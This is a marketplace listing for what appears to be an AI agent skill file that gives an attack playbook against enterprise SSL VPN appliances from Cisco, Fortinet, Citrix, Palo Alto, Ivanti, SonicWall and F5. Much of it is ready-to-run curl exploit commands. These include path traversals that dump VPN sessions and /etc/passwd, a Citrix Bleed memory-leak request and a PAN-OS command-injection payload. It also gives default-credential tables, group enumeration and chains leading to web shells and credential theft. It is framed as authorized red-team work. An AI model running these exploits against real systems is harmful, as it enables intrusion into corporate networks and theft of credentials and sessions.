{"slug":"enterprise-vpn-attack","title":"enterprise-vpn-attack","summary":"External SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet FortiGate/FortiOS, Citrix NetScaler/ADC, Palo Alto GlobalProtect, Pulse Secure / Ivanti Connect Secure, SonicWall, F5 Big-IP. Covers version fingerprinting, CVE matrix (2018-2026), AAA backe","platform":"Claude","tags":[],"authorName":"LLM Mart","authorSlug":"llm-mart","score":0,"source":"github","price":null,"verified":false,"createdAt":"2026-08-24T05:37:43.770337Z","repo":{"url":"https://github.com/elementalsouls/Claude-BugHunter","stars":4626,"forks":696,"license":"MIT","updatedAt":"2026-09-23T09:21:09Z"},"bodyHtml":"<hr>\n<h2>name: enterprise-vpn-attack\ndescription: External SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet FortiGate/FortiOS, Citrix NetScaler/ADC, Palo Alto GlobalProtect, Pulse Secure / Ivanti Connect Secure, SonicWall, F5 Big-IP. Covers version fingerprinting, CVE matrix (2018-2026), AAA backend identification, default credentials, configuration-disclosure paths, pre-auth RCE/SSRF/path-traversal exploits where applicable. Built from authorized-engagement Cisco ASA testing plus 2024-2026 enterprise VPN CVE landscape. Use whenever the target's perimeter exposes any SSL VPN appliance or remote-access gateway — these are the most common initial-access points in 2024-2026 actor TTPs.\nsources: authorized-engagement, public-advisories, cisa-kev\nreport_count: 1</h2>\n<h2>When to use this skill</h2>\n<p>Trigger when recon surfaces:</p>\n<ul>\n<li><code>*.&lt;client&gt;.example/+CSCOE+/logon.html</code> or similar <code>+CSCOE+</code> paths → Cisco ASA / AnyConnect</li>\n<li><code>intranet.*</code> / <code>vpn.*</code> / <code>connect.*</code> / <code>webvpn.*</code> / <code>wc.*</code> / <code>remote.*</code> subdomains</li>\n<li>Port 443 returning login pages with <code>Server: Apache</code> or banner like \"AnyConnect\", \"FortiGate\", \"NetScaler\", \"GlobalProtect\", \"Pulse\", \"Ivanti\"</li>\n<li>TCP 8443 / 4443 / 10443 / 8888 (common VPN web-mgmt ports)</li>\n<li>HTTP responses with <code>Set-Cookie: webvpn=</code> (Cisco) / <code>SVPNCOOKIE=</code> (Fortinet) / <code>NSC_AAA=</code> (Citrix) / <code>DSAuthSession=</code> (Pulse) / <code>BIGipServer*</code> (F5)</li>\n</ul>\n<p>DO NOT use for:</p>\n<ul>\n<li>Internal lateral-movement post-foothold (out of scope per user's boundary)</li>\n<li>VPN client-side bugs (different attack class)</li>\n<li>IPsec / L2TP / OpenVPN (different protocols, not SSL VPN web stack)</li>\n</ul>\n<hr>\n<h2>Vendor identification (fingerprinting)</h2>\n<h3>Cisco ASA / AnyConnect</h3>\n<pre><code>curl -skI 'https://target/+CSCOE+/logon.html' | head -10\n# Look for: Set-Cookie: webvpn=; X-Frame-Options: SAMEORIGIN; CSP: ... block-all-mixed-content\n# Login page contains: \"AnyConnect\", \"CSCOE\", \"logon.html\"\n</code></pre>\n<p>ASA version: not banner-disclosed in modern builds; need to derive from JS file paths or test specific paths.</p>\n<pre><code># Path-based version hints (older builds leaked builds in URLs)\ncurl -sk 'https://target/+CSCOE+/sdesktop/scan-finalize?path=test'\ncurl -sk 'https://target/+CSCOE+/saml/sp/metadata'         # 200 = SAML auth enabled\ncurl -sk 'https://target/CSCOSSLC/config-auth'             # AnyConnect handshake endpoint\n</code></pre>\n<h3>Fortinet FortiGate / FortiOS</h3>\n<pre><code>curl -skI 'https://target/remote/login' | head -10\n# Look for: Set-Cookie: SVPNCOOKIE=, Server header missing or \"xxxxxxxx-xxxxx\"\n# Login page contains: \"FortiGate\", \"Fortinet\", \"SSL-VPN\"\n</code></pre>\n<p>Version: <code>/remote/info</code> sometimes leaks (older), or <code>/login?username=</code> 302 response</p>\n<h3>Citrix NetScaler / ADC / Gateway</h3>\n<pre><code>curl -skI 'https://target/' | head -10\n# Look for: Set-Cookie: NSC_AAA=, Set-Cookie: NSC_USER=, Server: NetScaler\n# Login page contains: \"NetScaler\", \"Citrix Gateway\"\n\n# Version banner\ncurl -sk 'https://target/vpn/index.html' | grep -oE 'NetScaler/[0-9.]+|NS[0-9.]+'\ncurl -sk 'https://target/menu/neo'                # 200 if vulnerable to CVE-2019-19781 era\n</code></pre>\n<h3>Palo Alto GlobalProtect</h3>\n<pre><code>curl -skI 'https://target/global-protect/login.esp' | head -10\n# Look for: Set-Cookie: PHPSESSID= (yes, GP uses PHP), Server: Apache (PA-VM internal)\n# Page contains: \"GlobalProtect Portal\", \"PAN-OS\"\n\n# Version banner via login page\ncurl -sk 'https://target/global-protect/login.esp' | grep -oE 'GlobalProtect Portal[\\s\\S]{0,200}'\n# Or check meta tag\ncurl -sk 'https://target/global-protect/login.esp' | grep -oE 'panui-[0-9.]+'\n</code></pre>\n<h3>Pulse Secure / Ivanti Connect Secure</h3>\n<pre><code>curl -skI 'https://target/dana-na/auth/url_default/welcome.cgi' | head -10\n# Look for: Set-Cookie: DSAuthSession=, DSPREAUTH=\n# Page contains: \"Pulse Secure\" or \"Ivanti Connect Secure\"\n\n# Version\ncurl -sk 'https://target/dana-na/auth/url_default/welcome.cgi' | grep -oE 'Pulse Connect Secure[^&lt;]*|ivanti[^&lt;]*[0-9.]+'\n</code></pre>\n<h3>SonicWall NetExtender / SMA</h3>\n<pre><code>curl -skI 'https://target/cgi-bin/welcome' | head -10\n# Look for: Set-Cookie: swap=, swapauth=\n# Page contains: \"SonicWall\", \"NetExtender\", \"SMA\"\n</code></pre>\n<h3>F5 Big-IP / APM</h3>\n<pre><code>curl -skI 'https://target/my.policy' | head -10\n# Look for: Set-Cookie: BIGipServer*, MRHSession=\n# Server: BIG-IP (sometimes)\n</code></pre>\n<hr>\n<h2>CVE matrix — pre-auth or auth-bypass (2018-2026)</h2>\n<h3>Cisco ASA / AnyConnect</h3>\n<table>\n<thead>\n<tr>\n<th>CVE</th>\n<th>Affects</th>\n<th>Type</th>\n<th>Test</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>CVE-2018-0296</strong></td>\n<td>ASA pre-9.x specific builds</td>\n<td>Path traversal — info disclosure (sessions, config)</td>\n<td><code>GET /+CSCOT+/translation-table?type=mst&amp;textdomain=/%2bCSCOE%2b/portal_inc.lua</code></td>\n</tr>\n<tr>\n<td><strong>CVE-2020-3452</strong></td>\n<td>ASA, FTD before specific patch levels</td>\n<td>Path traversal — file read</td>\n<td><code>GET /+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua</code> and variations</td>\n</tr>\n<tr>\n<td><strong>CVE-2023-20269</strong></td>\n<td>ASA, FTD specific</td>\n<td>Auth bypass on SSL VPN</td>\n<td>Brute-force a group + valid creds combo against <code>/+webvpn+/index.html</code></td>\n</tr>\n<tr>\n<td><strong>CVE-2024-20481</strong></td>\n<td>RAVPN</td>\n<td>DoS via crafted handshake</td>\n<td><strong>SKIP in red team — disruptive</strong></td>\n</tr>\n</tbody>\n</table>\n<pre><code># Cisco CVE-2020-3452 — file read\ncurl -sk 'https://target/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua' | head -5\n\n# Cisco CVE-2018-0296 — path traversal\ncurl -sk 'https://target/+CSCOT+/translation-table?type=mst&amp;textdomain=/%2bCSCOE%2b/portal_inc.lua' | head -20\n\n# Files commonly retrievable on vulnerable ASA:\n# /+CSCOE+/portal_inc.lua    (portal inclusions — may reveal local users)\n# /+CSCOE+/session_password.html\n# /+CSCOE+/files/files.html\n</code></pre>\n<h3>Fortinet FortiGate / FortiOS</h3>\n<table>\n<thead>\n<tr>\n<th>CVE</th>\n<th>Affects</th>\n<th>Type</th>\n<th>Test</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>CVE-2018-13379</strong></td>\n<td>FortiOS 5.4-6.0</td>\n<td>Path traversal — sslvpn_websession file read</td>\n<td><code>GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession</code></td>\n</tr>\n<tr>\n<td><strong>CVE-2022-42475</strong></td>\n<td>FortiOS 7.x specific</td>\n<td>Heap overflow — pre-auth RCE</td>\n<td>Complex exploit; test with <code>nuclei</code> template <code>CVE-2022-42475</code></td>\n</tr>\n<tr>\n<td><strong>CVE-2023-27997</strong> (XORtigate)</td>\n<td>FortiOS various</td>\n<td>Heap overflow — pre-auth RCE</td>\n<td>Public PoCs exist; nuclei template available</td>\n</tr>\n<tr>\n<td><strong>CVE-2024-21762</strong></td>\n<td>FortiOS 6.x-7.x</td>\n<td>OOB write — pre-auth RCE</td>\n<td>Public PoC; nuclei template <code>CVE-2024-21762</code></td>\n</tr>\n<tr>\n<td><strong>CVE-2024-55591</strong></td>\n<td>FortiOS 7.0-7.4</td>\n<td>Auth bypass on FortiOS Node.js websocket admin interface</td>\n<td><code>GET /endpoint</code> on admin-interface port</td>\n</tr>\n</tbody>\n</table>\n<pre><code># Fortinet CVE-2018-13379 — most reliably-fingerprintable file read\ncurl -sk --path-as-is 'https://target/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession'\n# Response contains plaintext usernames + sessions if vulnerable\n\n# Fortinet credential dump format (from CVE-2018-13379 dumps that hit pastebin in 2021):\n# IP:PORT     username     password     (and others)\n</code></pre>\n<h3>Citrix NetScaler / ADC / Gateway</h3>\n<table>\n<thead>\n<tr>\n<th>CVE</th>\n<th>Affects</th>\n<th>Type</th>\n<th>Test</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>CVE-2019-19781</strong> (Shitrix)</td>\n<td>ADC/Gateway 10.5-13.0 specific</td>\n<td>Path traversal → RCE via XML upload</td>\n<td><code>GET /vpn/../vpns/cfg/smb.conf</code></td>\n</tr>\n<tr>\n<td><strong>CVE-2022-27518</strong></td>\n<td>ADC/Gateway with SAML configured</td>\n<td>Pre-auth RCE</td>\n<td>Complex; test with nuclei</td>\n</tr>\n<tr>\n<td><strong>CVE-2023-3519</strong></td>\n<td>NetScaler ADC/Gateway 13.0-13.1 specific</td>\n<td>Pre-auth RCE via crafted HTTP</td>\n<td>Public PoCs exist</td>\n</tr>\n<tr>\n<td><strong>CVE-2023-4966</strong> (Citrix Bleed)</td>\n<td>NetScaler ADC/Gateway 13.0-14.1</td>\n<td>Memory disclosure → session token theft</td>\n<td><code>POST /oauth/idp/.well-known/openid-configuration</code> with crafted Host header — long Host header triggers memory leak in response</td>\n</tr>\n</tbody>\n</table>\n<pre><code># Citrix Bleed (CVE-2023-4966) detection\nHOST=$(python3 -c \"print('A' * 24812)\")\ncurl -sk -X POST -H \"Host: $HOST\" \"https://target/oauth/idp/.well-known/openid-configuration\" -o response.txt\n# If response is large (&gt;10KB) and contains random memory contents — vulnerable\n# Session tokens often present in the memory dump\n\n# CVE-2019-19781 file read\ncurl -sk --path-as-is 'https://target/vpn/../vpns/cfg/smb.conf'\n</code></pre>\n<h3>Palo Alto GlobalProtect</h3>\n<table>\n<thead>\n<tr>\n<th>CVE</th>\n<th>Affects</th>\n<th>Type</th>\n<th>Test</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>CVE-2024-3400</strong></td>\n<td>PAN-OS 10.2-11.1 with GP enabled</td>\n<td>Command injection — pre-auth RCE</td>\n<td><code>POST /ssl-vpn/login.esp</code> with crafted Cookie header containing <code>SESSID=../../../var/log/pan/test.txt</code></td>\n</tr>\n</tbody>\n</table>\n<pre><code># CVE-2024-3400 detection\ncurl -sk -X POST 'https://target/ssl-vpn/login.esp' \\\n  -H 'Cookie: SESSID=../../../var/log/pan/test_$(id)_test.txt' \\\n  --data 'jsessionid=test'\n# Look for file-creation side-effect on test path — palo creates file with command output\n</code></pre>\n<h3>Pulse Secure / Ivanti Connect Secure / Policy Secure</h3>\n<table>\n<thead>\n<tr>\n<th>CVE</th>\n<th>Affects</th>\n<th>Type</th>\n<th>Test</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>CVE-2019-11510</strong></td>\n<td>Pulse Connect Secure 8.x-9.x</td>\n<td>Arbitrary file read</td>\n<td><code>GET /dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/</code></td>\n</tr>\n<tr>\n<td><strong>CVE-2021-22893</strong></td>\n<td>Pulse Connect Secure 9.x</td>\n<td>Pre-auth RCE</td>\n<td>Complex multi-step; test with nuclei</td>\n</tr>\n<tr>\n<td><strong>CVE-2024-21887</strong></td>\n<td>Ivanti Connect Secure 9.1-22.6</td>\n<td>Command injection on web component</td>\n<td><code>POST /api/v1/totp/user-backup-code/</code> with crafted body</td>\n</tr>\n<tr>\n<td><strong>CVE-2023-46805</strong></td>\n<td>Ivanti Connect Secure 9.1-22.6</td>\n<td>Auth bypass</td>\n<td>Combined with 21887 for full chain</td>\n</tr>\n</tbody>\n</table>\n<pre><code># CVE-2019-11510 — Pulse file read\ncurl -sk --path-as-is 'https://target/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/'\n</code></pre>\n<h3>SonicWall</h3>\n<table>\n<thead>\n<tr>\n<th>CVE</th>\n<th>Affects</th>\n<th>Type</th>\n<th>Test</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>CVE-2021-20016</strong></td>\n<td>SMA 100 series specific firmware</td>\n<td>SQL injection — pre-auth</td>\n<td>nuclei template available</td>\n</tr>\n<tr>\n<td><strong>CVE-2024-40766</strong></td>\n<td>SonicOS specific</td>\n<td>Access-control flaw</td>\n<td>Specific firmware versions</td>\n</tr>\n</tbody>\n</table>\n<hr>\n<h2>SAML SP / IdP misconfigurations (always check)</h2>\n<p>Most enterprise VPNs now use SAML for SSO. Check SP metadata:</p>\n<pre><code># Cisco ASA\ncurl -sk 'https://target/+CSCOE+/saml/sp/metadata' | head -50\n\n# Fortinet\ncurl -sk 'https://target/remote/saml/metadata' | head -50\n\n# Citrix\ncurl -sk 'https://target/saml/login' | head -30\n</code></pre>\n<p>Look for:</p>\n<ul>\n<li><code>AuthnRequestsSigned=\"false\"</code> → see <code>hunt-saml</code> for XSW exploitation</li>\n<li><code>WantAssertionsSigned=\"false\"</code> → severe; assertion-replay possible</li>\n<li>Audience-restriction validation gaps</li>\n<li>Public SP signing cert (for replay/forging attacks)</li>\n</ul>\n<hr>\n<h2>Default credentials (test sparingly — lockout risk)</h2>\n<table>\n<thead>\n<tr>\n<th>Vendor</th>\n<th>User</th>\n<th>Password</th>\n<th>Notes</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>Cisco ASA</td>\n<td>admin</td>\n<td>cisco</td>\n<td>Default factory; rarely seen in prod</td>\n</tr>\n<tr>\n<td>Cisco ASA</td>\n<td>enable_15</td>\n<td>cisco</td>\n<td>Console</td>\n</tr>\n<tr>\n<td>Fortinet</td>\n<td>admin</td>\n<td>(empty)</td>\n<td>Factory default</td>\n</tr>\n<tr>\n<td>Citrix NetScaler</td>\n<td>nsroot</td>\n<td>nsroot</td>\n<td>Factory default</td>\n</tr>\n<tr>\n<td>Citrix NetScaler</td>\n<td>nsroot</td>\n<td>(serial number)</td>\n<td>Newer firmware</td>\n</tr>\n<tr>\n<td>Palo Alto</td>\n<td>admin</td>\n<td>admin</td>\n<td>Factory default</td>\n</tr>\n<tr>\n<td>Pulse Secure</td>\n<td>admin</td>\n<td>password</td>\n<td>Factory; CIS-hardened changes this</td>\n</tr>\n<tr>\n<td>F5 Big-IP</td>\n<td>root</td>\n<td>default</td>\n<td>Factory</td>\n</tr>\n<tr>\n<td>F5 Big-IP</td>\n<td>admin</td>\n<td>admin</td>\n<td>Common alternate</td>\n</tr>\n<tr>\n<td>SonicWall</td>\n<td>admin</td>\n<td>password</td>\n<td>Factory</td>\n</tr>\n</tbody>\n</table>\n<p>⚠ Most enterprise targets have changed these. Test ≤2 attempts per account to avoid lockout.</p>\n<hr>\n<h2>Group / tunnel-group enumeration (Cisco-specific)</h2>\n<p>Cisco ASA AAA groups can sometimes be enumerated without auth.</p>\n<pre><code># Tunnel group enumeration via timing\nfor group in DefaultRAGroup DefaultWEBVPNGroup SSLVPN Employees Contractors Vendors Partners Sales Marketing IT; do\n  ms=$(curl -sk --max-time 10 -o /dev/null -w \"%{time_total}\" \\\n    -X POST \"https://target/+webvpn+/index.html\" \\\n    -d \"username=test&amp;password=test&amp;group_list=$group&amp;tgroup=&amp;Login=Login\")\n  echo \"$group: ${ms}s\"\ndone\n# Larger differential timing = group exists; valid groups respond slower in some builds\n</code></pre>\n<hr>\n<h2>AAA backend identification</h2>\n<p>After auth fails, look at error response details:</p>\n<table>\n<thead>\n<tr>\n<th>Pattern in response</th>\n<th>AAA backend</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><code>a0=2</code> (Cisco)</td>\n<td>Unknown user</td>\n</tr>\n<tr>\n<td><code>a0=3</code> (Cisco)</td>\n<td>Wrong password</td>\n</tr>\n<tr>\n<td><code>a0=4</code> (Cisco)</td>\n<td>Login restricted</td>\n</tr>\n<tr>\n<td><code>a0=12</code> (Cisco)</td>\n<td>Account locked</td>\n</tr>\n<tr>\n<td><code>a0=115</code> (Cisco)</td>\n<td>Generic auth fail (LDAP/RADIUS/AD layer error)</td>\n</tr>\n<tr>\n<td>AADSTS in response body</td>\n<td>Backed by Entra (SAML)</td>\n</tr>\n<tr>\n<td><code>Authentication failed via RADIUS</code></td>\n<td>RADIUS backend</td>\n</tr>\n<tr>\n<td><code>Invalid username or password</code> (generic)</td>\n<td>LDAP or local DB</td>\n</tr>\n</tbody>\n</table>\n<p>If you see SAML/Entra in the flow, pivot to <code>m365-entra-attack</code> skill for cred-spray strategy.</p>\n<hr>\n<h2>Common probe sequence (5-minute fingerprint)</h2>\n<pre><code>TARGET=\"vpn.target.com\"\n\n# Cisco\ncurl -skI \"https://$TARGET/+CSCOE+/logon.html\" 2&gt;&amp;1 | head -3\ncurl -sk \"https://$TARGET/+CSCOE+/saml/sp/metadata\" -o /tmp/cisco_saml.xml; ls -la /tmp/cisco_saml.xml\ncurl -sk --path-as-is \"https://$TARGET/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest\" -o /tmp/cisco_cve.html\n\n# Fortinet\ncurl -skI \"https://$TARGET/remote/login\" 2&gt;&amp;1 | head -3\ncurl -sk --path-as-is \"https://$TARGET/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession\" -o /tmp/forti_cve.txt; head -c 200 /tmp/forti_cve.txt\n\n# Citrix\ncurl -skI \"https://$TARGET/\" 2&gt;&amp;1 | head -3\ncurl -sk --path-as-is \"https://$TARGET/vpn/../vpns/cfg/smb.conf\" -o /tmp/citrix_cve.txt; head -c 200 /tmp/citrix_cve.txt\nHOST=$(python3 -c \"print('A' * 24812)\")\ncurl -sk -X POST -H \"Host: $HOST\" \"https://$TARGET/oauth/idp/.well-known/openid-configuration\" -o /tmp/citrix_bleed.txt\nwc -c /tmp/citrix_bleed.txt\n\n# Palo Alto\ncurl -skI \"https://$TARGET/global-protect/login.esp\" 2&gt;&amp;1 | head -3\n\n# Pulse / Ivanti\ncurl -skI \"https://$TARGET/dana-na/auth/url_default/welcome.cgi\" 2&gt;&amp;1 | head -3\ncurl -sk --path-as-is \"https://$TARGET/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/\" -o /tmp/pulse_cve.txt; head -c 200 /tmp/pulse_cve.txt\n</code></pre>\n<hr>\n<h2>Nuclei templates for fast triage</h2>\n<p>Nuclei has high-quality templates for most of the above CVEs. Single command sweeps:</p>\n<pre><code>nuclei -u https://target/ \\\n  -tags vpn,cisco-asa,fortinet,citrix,palo-alto,pulse-secure,sonicwall,f5 \\\n  -severity high,critical -rl 5\n</code></pre>\n<p>Add <code>-as</code> (auto-scan) for broader vuln coverage but slower.</p>\n<hr>\n<h2>Operational discipline</h2>\n<ul>\n<li><strong>Banner-stripped servers (no version disclosure)</strong> are good defense-in-depth — record as positive finding even if no CVE found</li>\n<li><strong>Rate-limit yourself</strong> — these appliances often log every request to a SIEM. Patient pace, jittered timing.</li>\n<li><strong>SAML metadata is anonymous</strong> — pull it. It's intel about AAA backend.</li>\n<li><strong>Don't run pre-auth-RCE PoCs in red team without explicit OK</strong> — accidentally bricking a VPN concentrator = catastrophic for the client. Detection-only tests first, then escalate with permission.</li>\n<li><strong>Document the AAA backend identification</strong> — knowing whether ASA uses RADIUS-to-local vs SAML-to-Entra changes downstream attack paths.</li>\n</ul>\n<hr>\n<h2>Bridge to neighboring skills</h2>\n<ul>\n<li><code>m365-entra-attack</code> — when AAA backend is Entra SAML; cred-spray strategy carries over</li>\n<li><code>hunt-saml</code> — XSW / signature-stripping if SAML SP is misconfigured</li>\n<li><code>mid-engagement-ir-detection</code> — appliances generate noisy logs; watch for IPS rules being deployed mid-engagement</li>\n<li><code>redteam-mindset</code> — banner-stripped ≠ \"not vulnerable\"; keep digging via behavioral fingerprints</li>\n</ul>\n<hr>\n<h2>Anti-patterns</h2>\n<ul>\n<li><strong>Don't conclude \"patched\" from a 404 on one CVE path</strong> — patches deploy unevenly; test 3+ CVEs per vendor</li>\n<li><strong>Don't trust the version banner alone</strong> — appliance vendors often backport fixes without bumping the version string</li>\n<li><strong>Don't run heavy nuclei scans without rate-limiting</strong> — these appliances are critical infrastructure</li>\n<li><strong>Don't fingerprint by trying all CVE PoCs immediately</strong> — start with non-disruptive HEAD + version-banner probes</li>\n<li><strong>Don't skip SAML metadata</strong> — even when the appliance is patched, SAML SP misconfig is its own attack surface</li>\n</ul>\n<hr>\n<h2>Related Skills &amp; Chains</h2>\n<ul>\n<li><strong><code>hunt-rce</code></strong> — Every major VPN appliance (Pulse Secure, Fortinet, Citrix, Ivanti, Palo Alto) has shipped pre-auth path-traversal-to-RCE in the last 24 months. Chain primitive: VPN appliance CVE (e.g., Ivanti ICS CVE-2024-21887, Citrix Bleed CVE-2023-4966, Fortinet CVE-2024-21762) → <code>hunt-rce</code> pre-auth path traversal → arbitrary file write into web-root → request the file → web-shell as <code>root</code> → VPN config + LDAP bind credentials extracted.</li>\n<li><strong><code>hunt-saml</code></strong> — VPN SAML SP misconfig persists even on fully-patched appliances. Chain primitive: appliance patched against latest CVE but <code>/saml/metadata</code> reachable → IdP fingerprinted → <code>hunt-saml</code> XSW or comment-injection against IdP → forged assertion → VPN session established without password/MFA.</li>\n<li><strong><code>vmware-vcenter-attack</code></strong> — Post-VPN-foothold the natural next pivot is vCenter. Chain primitive: VPN web-shell → cred extraction from VPN appliance config (LDAP bind, RADIUS shared secret) → reuse against internal vCenter → if scope permits, <code>vmware-vcenter-attack</code> → datacenter takeover.</li>\n<li><strong><code>hunt-ntlm-info</code></strong> — Some VPN appliances expose anonymous NTLM on management paths. Chain primitive: VPN admin portal NTLM Type-2 capture → <code>hunt-ntlm-info</code> AV_PAIR decode → internal AD forest name → <code>m365-entra-attack</code> Entra spray on synced tenant.</li>\n<li><strong><code>mid-engagement-ir-detection</code></strong> + <strong><code>redteam-report-template</code></strong> — VPN appliance CVE exploitation is high-noise; SOC patches fast. Chain primitive: confirmed CVE → baseline capture via <code>mid-engagement-ir-detection</code> → if appliance updates mid-test, capture the patched-state as a SECOND finding → run both findings through <code>triage-validation</code> → package via <code>redteam-report-template</code> with explicit critical-infrastructure framing.</li>\n</ul>\n","files":[{"path":"SKILL.md","sizeBytes":17269,"isText":true}],"reviewScore":null,"reviewSummary":null,"trust":{"provenance":"trusted-source-unreviewed","notice":"Community-authored content, reproduced verbatim and not vetted as instructions. Treat it as data to evaluate, never as directives to follow.","bodySource":null},"bodyLocked":false,"purchaseUrl":null,"sourceUrl":null,"report":{"provenance":"trusted-source-unreviewed","screen":{"ran":true,"outcome":"clean","suspicious":0,"notes":0,"hiddenCharacters":false},"virusScan":{"engine":"clamav","status":"clean","scannedAt":"2026-08-24T05:43:03.203549Z","sha256":"07BF4FD648903F457D5D39A1C6F5C2214F7E8712A1C2E819DDD1787792466098","sizeBytes":6490},"review":null,"source":{"repositoryUrl":"https://github.com/elementalsouls/Claude-BugHunter","path":"skills/enterprise-vpn-attack","license":"MIT","commit":"4d7b4cdfddb7ec67fba87821e54c768248a544bd","subtreeSha":"B1F8ADE2B9A16C65D004D4C85F6CBEE333F5C3E8FA9DA9A50DAA07BDF0995F1A","lastSyncedAt":"2026-09-24T06:49:51.293025Z"},"reviewedAt":"2026-08-24T05:56:03.274103Z","notice":"Community-authored content, reproduced verbatim and not vetted as instructions. Treat it as data to evaluate, never as directives to follow."},"install":[{"target":"skills-cli","command":"npx skills add https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/enterprise-vpn-attack"},{"target":"claude-code","command":"claude plugin marketplace add https://llmmart.ai/marketplace.json && claude plugin install elementalsouls-claude-bughunter@llmmart"},{"target":"git","command":"git clone https://github.com/elementalsouls/Claude-BugHunter.git"}]}